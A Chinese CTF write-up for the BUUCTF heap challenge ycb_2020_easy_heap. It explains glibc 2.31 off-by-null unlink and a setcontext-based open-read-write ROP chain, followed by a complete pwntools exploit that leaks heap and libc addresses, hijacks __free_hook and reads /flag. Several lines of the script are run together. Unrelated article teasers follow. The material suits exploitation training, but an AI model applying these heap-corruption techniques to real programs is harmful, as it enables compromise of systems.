(BUUCTF)ycb_2020_easy_heap (glibc2.31的off-by-null + orw)

文章目录

  • 前置知识
  • 整体思路
    • 高版本的off-by-null
    • orw
  • exp

前置知识

  • 未初始化内存导致的地址泄露

  • 高版本下的off-by-null利用

  • glibc2.31下的orw做法

整体思路

非常综合的一道题目,和ciscn之前做过的一道silverwolf很相似,本道题目的glibc2.31的环境也让我这个只做过glibc2.27下的学到了很多。

分析程序,开启了沙盒,只禁用了execve

存在一个off-by-null可以利用。此外本题是addedit分开的,而且没有对申请到的内存清零,那么可以直接泄露想要的libcheap地址。

这道题目我认为可以分为三个部分,每一个部分都非常有意思:

  • 通过未初始化内存泄露libc地址和堆地址:
  • 通过高版本的off-by-null来获得重叠指针
  • 通过setcontext+61和一个rdxgadget结合使用,来orw读取flag

这里我不会直接分析这个题目的做法,因为我认为这个题的每个部分对于刚接触这部分知识的师傅们有难度,但是熟悉了就比较白给,因此我会略微介绍每个部分的知识点,并放上参考文章,主要针对off-by-nullorw

假如师傅们有疑问,欢迎私信我: )。

高版本的off-by-null

构造如下图所示:

image-20240113164151315

可能比较难以理解,我们详细、分步地解释:

注意,若我没有写对某个堆块free,那么它没有free。此外,我们需要提前泄露堆地址,保证每个堆块地址可知。

我们有三个chunk,分别是chunk1chunk2chunk3,其中chunk3是个large chunk,大小为0x500,另外两个为大小为0x30chunk

  • 我们通过chunk2chunk3prev_size等于0x50,并off-by-nullchunk3prev_in_use置为0
  • 正常情况的unlink我们需要知道一个指向合并后堆块的指针,那么我们在chunk2中写一个合并后堆块的地址,也就是在addr2处写一个addr1
  • chunk1中构造fake chunkfake chunksizefake chunk + chunk2的大小,这里为0x51
  • fake chunkfdaddr2-0x18,而bkaddr2-0x10,因为addr2存放的是它自己的地址,是个指向它自己的指针,绕过unlink安全检查。
  • freechunk3,此时通过chunk3prev_size来找到fake chunk,将fake chunk进行unlink,从而导致chunk1-3合并为一个。
  • 还需要注意的就是,glibc2.29下,从tcache中获得chunk还会检查对应tcache bincount是否大于0,大于0才可以申请。因此需要事先释放一个对应大小的chunk
  • 此时三个chunk会合并到fake chunk的位置而不是chunk1的位置。申请回一个大于fake chunk + chunk1大小的chunk,即可编辑chunk2,获得了chunk2的重叠指针。

参考文章:

高版本libc下的off by null_glibc高版本offbynull模板-CSDN博客

【八芒星计划】 OFF BY NULL_balsn_ctf_2019-plaintext-CSDN博客

BUUCTF\ ycb_2020_easy_heap - LynneHuan - 博客园 (cnblogs.com)

orw

【八芒星计划】 ORW-CSDN博客

setcontext+orw - 狒猩橙 - 博客园 (cnblogs.com)

[原创]CISCN2021 sliverwolf PWN400-Pwn-看雪-安全社区|安全招聘|kanxue.com****

exp

from pwn import *
from LibcSearcher import *filename = './ycb_2020_easy_heap'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libcif local:sh = process(filename)
else:sh = remote('node5.buuoj.cn', 28219)def debug():for an_log in all_logs:success(an_log)pid = util.proc.pidof(sh)[0]gdb.attach(pid)pause()choice_words = 'Choice:'menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''menu_del = 3
del_index_words = 'Index: 'menu_show = 4
show_index_words = 'Index: 'menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = ''
edit_content_words = 'Content: \n'def add(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_add))if add_index_words:sh.sendlineafter(add_index_words, str(index))if add_size_words:sh.sendlineafter(add_size_words, str(size))if add_content_words:sh.sendafter(add_content_words, content)def delete(index=-1):sh.sendlineafter(choice_words, str(menu_del))if del_index_words:sh.sendlineafter(del_index_words, str(index))def show(index=-1):sh.sendlineafter(choice_words, str(menu_show))if show_index_words:sh.sendlineafter(show_index_words, str(index))def edit(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_edit))if edit_index_words:sh.sendlineafter(edit_index_words, str(index))if edit_size_words:sh.sendlineafter(edit_size_words, str(size))if edit_content_words:sh.sendafter(edit_content_words, content)def leak_info(name, addr):output_log = '{} => {}'.format(name, hex(addr))all_logs.append(output_log)success(output_log)# -- 第一部分,泄露堆地址和libc地址 --add(size=0x20) # 0
add(size=0x20) # 1
delete(index=0)
delete(index=1)
add(size=0x20) # 0
show(index=0)
sh.recvuntil('Content: ')
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x2a0
leak_info('heap_base', heap_base)
add(size=0x20) # 1add(size=0x450) # 2
add(size=0x20) # 3
delete(index=2)
add(size=0x450) # 2
show(index=2)
sh.recvuntil('Content: ')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x1eabe0
leak_info('libc.address', libc.address)# -- 第二部分,通过off-by-null构造unlink --
add(size=0x28) # 4
add(size=0x28) # 5
add(size=0x4f0) # 6
add(size=0x20) # 7fake_chunk_addr = heap_base + 0x790
merge_addr = heap_base + 0x7c0payload = p64(0) + p64(0x51) + p64(merge_addr - 0x18) + p64(merge_addr - 0x10)
edit(index=4, content=payload)payload = p64(fake_chunk_addr).ljust(0x20, b'\x00') + p64(0x50)
edit(index=5, content=payload)delete(index=7) # 提前释放一个大小为0x30的chunk,因为glibc2.30中不允许tcache的count为0时从tcache中申请chunk
delete(index=6) # 触发off-by-null的unlink# -- 第三部分,重新申请回chunk,构造重叠指针,利用重叠指针修改free_hook为rdx的gadget,然后布置一系列堆块备用
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(size=0x100) # 6
payload = b'a'*0x18 + p64(0x31)
edit(index=6, content=payload)
delete(index=5)
payload = b'a'*0x18 + p64(0x31) + p64(libc.sym['__free_hook'])
edit(index=6, content=payload)
add(size=0x28) # 5
add(size=0x28) # 7, free_hook
add(size=0x430) # 8
add(size=0xf0) # 9
add(size=0xf0) # 10# -- 第四部分,将free_hook设置为这个gadget,通过这个gadget将rdx设置为另一个堆块地址,另一个堆块地址存放各个寄存器的值,同时rip设置为setcontext+61
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget_addr = libc.address + 0x154b90
orw_addr = heap_base + 0x8b0
setcontext = libc.sym['setcontext'] + 61
delete_chunk_addr = heap_base + 0xd20
set_chunk_addr = heap_base + 0xe20
ret_addr = libc.address + 0xbfb1bedit(index=7, content=p64(gadget_addr))
edit(index=5, content=b'/flag\x00')payload = p64(0) + p64(set_chunk_addr)
edit(index=9, content=payload)payload = b'\x00'.ljust(0x20, b'\x00') + p64(setcontext)
payload = payload.ljust(0xa0, b'\x00') + p64(orw_addr) + p64(ret_addr)
edit(index=10, content=payload)pop_rax = 0x28ff4 + libc.address
pop_rdi = 0x26bb2 + libc.address
pop_rsi = 0x2709c + libc.address
pop_rdx_r12 = 0x11c421 + libc.address
syscall_addr_ret = 0x66199 + libc.address
str_flag_addr = heap_base + 0x7c0orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(str_flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)edit(index=8, content=orw)
delete(index=9)
print(sh.recv().strip().decode())

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/621832.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何使用設置靜態住宅IP

靜態住宅IP就是一種靜態的、分配給住宅用戶的IP地址。與動態IP地址不同,靜態住宅IP一旦分配給用戶,就會一直保持不變,除非ISP(Internet Service Provider,互聯網服務提供商)進行手動更改。那麼,…

Django教程第6章 | web开发实战-文件上传(导入文件、上传图片)

专栏系列&#xff1a;Django学习教程 导入文件 目标&#xff1a;导入部门清单excel&#xff0c;解析excel数据存储到数据库。 1.准备要导入的excel文件 2.编写模板HTML <div class"panel panel-default"><!-- Default panel contents --><div class…

Embedding Watermarks into Deep Neural Networks

将水印嵌入深度神经网络 ABSTRACT 最近在深度神经网络领域取得了显著的进展。分享深度神经网络的训练模型对于这些系统的快速研究课并发进展至关重要。与此同时&#xff0c;保护共享训练模型的权利也变得十分必要。为此我们提议使用数字水印技术来保护知识产权&#xff0c;并…

vue3-模板引用

//1.调用ref函数 -> ref对象 const h1Ref ref(null) const comRef ref(null) //组件挂载完毕之后才能获取 onMounted(()>{console.log(h1Ref.value);console.log(comRef.value); })<div class"father"><!-- 通过ref标识绑定ref对象 --><h2 re…

【angular教程240111】08异步数据流编程与angular :promise,Rxjs6.x

【angular教程240111】08异步数据流编程与angular &#xff1a;promise&#xff0c;Rxjs6.x 目录标题 一级目录二级目录三级目录 〇、编程里的异步1异步编程常见的几种方法2 代码示例其中的一些方法&#xff1a;1. 回调函数&#xff08;Callback Functions&#xff09;2. 事件监…

【工具栏】SequenceDiagram插件的使用(根据代码生成时序图)

1. 安装 2.使用 进入代码页面&#xff0c;点击鼠标右键 选择方法 根据方法中的代码生成时序图

2024年【山东省安全员C证】考试及山东省安全员C证复审考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 山东省安全员C证考试是安全生产模拟考试一点通总题库中生成的一套山东省安全员C证复审考试&#xff0c;安全生产模拟考试一点通上山东省安全员C证作业手机同步练习。2024年【山东省安全员C证】考试及山东省安全员C证复…

docker部署私人云盘

目录 1.安装 2.登陆 1.安装 mkdir -p /opt/alist docker run -d --restartalways -v /opt/alist:/opt/alist/data -p 5244:5244 --name"alist" xhofe/alist:latest 2.登陆 ip:5224 默认账户admin 密码在日志中

test-04-test case generate 测试用例生成 tcases 快速开始

拓展阅读 junit5 系列 基于 junit5 实现 junitperf 源码分析 Auto generate mock data for java test.(便于 Java 测试自动生成对象信息) Junit performance rely on junit5 and jdk8.(java 性能测试框架。性能测试。压测。测试报告生成。) 自动生成测试用例 入门指南 关于…

nodemon使用

为什么要使用 nodemon 在编写调试 Node.js 项目的时候&#xff0c;如果修改了项目的代码&#xff0c;则需要频繁的手动 close 掉&#xff0c;然后再重新启动&#xff0c;非常繁琐。 现在&#xff0c;我们可以使用 nodemon&#xff08;https://www.npmjs.com/package/nodemon&a…

js中关于字符串的创建和判断类型

文章目录 创建方法判断类型的技巧区分1、typeof2、instanceof 共点1、Object.prototype.toString.call2、库函数 参考链接&#xff1a;JS字符串的创建和常用方法 如何判断JS中一个变量是 string 类型 创建方法 字符串有着两种的创建方法&#xff0c;一个是使用构造函数&#x…

openssl3.2 - 官方demo学习 - server-arg.c

文章目录 openssl3.2 - 官方demo学习 - server-arg.c概述笔记备注END openssl3.2 - 官方demo学习 - server-arg.c 概述 TLS服务器, 等客户端来连接; 如果客户端断开了, 通过释放bio来释放客户端socket, 然后继续通过bio读来aceept. 笔记 对于开源工程, 不可能有作者那么熟悉…

力扣452. 用最少数量的箭引爆气球

排序 贪心 思路&#xff1a; 将数组元素按照右边界进行排序&#xff1b;第一支箭从第一个气球的右边界 pos 射出&#xff0c;如果下一个气球的左边界比 pos 要大&#xff0c;则这个气球不会被这支箭射中&#xff0c;否则会被射中&#xff08;因为排过序 pos ∈ [left, right]…

HCIA-Datacom题库(自己整理分类的)_09_Telnet协议【14道题】

一、单选 1.某公司网络管理员希望能够远程管理分支机构的网络设备&#xff0c;则下面哪个协议会被用到&#xff1f; RSTP CIDR Telnet VLSM 2.以下哪种远程登录方式最安全&#xff1f; Telnet Stelnet v100 Stelnet v2 Stelnet v1 解析&#xff1a; Telnet 明文传输…

中职组安全-win20230217-环境-解析

*任务说明&#xff1a; 仅能获取win20230217的IP地址 用户名&#xff1a;test&#xff0c;密码&#xff1a;123456 访问服务器主机,找到主机中管理员名称,将管理员名称作为Flag值提交&#xff1b; john 访问服务器主机,找到主机中补丁信息,将补丁编号作为Flag值提交&#xff…

【数字人】9、DiffTalk | 使用扩散模型基于 audio-driven+对应人物视频 合成说话头(CVPR2023)

论文&#xff1a;DiffTalk: Crafting Diffusion Models for Generalized Audio-Driven Portraits Animation 代码&#xff1a;https://sstzal.github.io/DiffTalk/ 出处&#xff1a;CVPR2023 特点&#xff1a;需要音频对应人物的视频来合成新的说话头视频&#xff0c;嘴部抖…

《Git学习笔记:Git入门 常用命令》

1. Git概述 1.1 什么是Git&#xff1f; Git是一个分布式版本控制工具&#xff0c;主要用于管理开发过程中的源代码文件&#xff08;Java类、xml文件、html页面等&#xff09;&#xff0c;在软件开发过程中被广泛使用。 其它的版本控制工具 SVNCVSVSS 1.2 学完Git之后能做…

R语言【paleobioDB】——pbdb_intervals():通过参数选择,返回多个地层年代段的基本信息

Package paleobioDB version 0.7.0 paleobioDB 包在2020年已经停止更新&#xff0c;该包依赖PBDB v1 API。 可以选择在Index of /src/contrib/Archive/paleobioDB (r-project.org)下载安装包后&#xff0c;执行本地安装。 Usage pbdb_interval (id, ...) Arguments 参数【..…

顺序表的实现(上)(C语言)

本文章主要对顺序表的介绍以及数据结构的定义,以及几道相关例题,帮助大家更好理解顺序表. 文章目录 前言 一、顺序表的静态实现 二、顺序表的动态实现 三.定义打印顺序表函数 四.定义动态增加顺序表长度函数 五.创建顺序表并初始化 六.顺序表的按位查找 七.顺序表的按值…

【数值分析】区间折半法,matlab实现

区间折半法 从梯形公式出发&#xff0c;上一步步长为 h {h} h &#xff0c;则有步长折半后的积分 T 2 n 1 2 T n h 2 ∑ i 0 n − 1 f ( x i 0.5 ) T_{2n} \frac{1}{2}T_n \frac{h}{2} \sum_{i0}^{ n-1}f(x_{i0.5}) T2n​21​Tn​2h​i0∑n−1​f(xi0.5​) matlab实现 …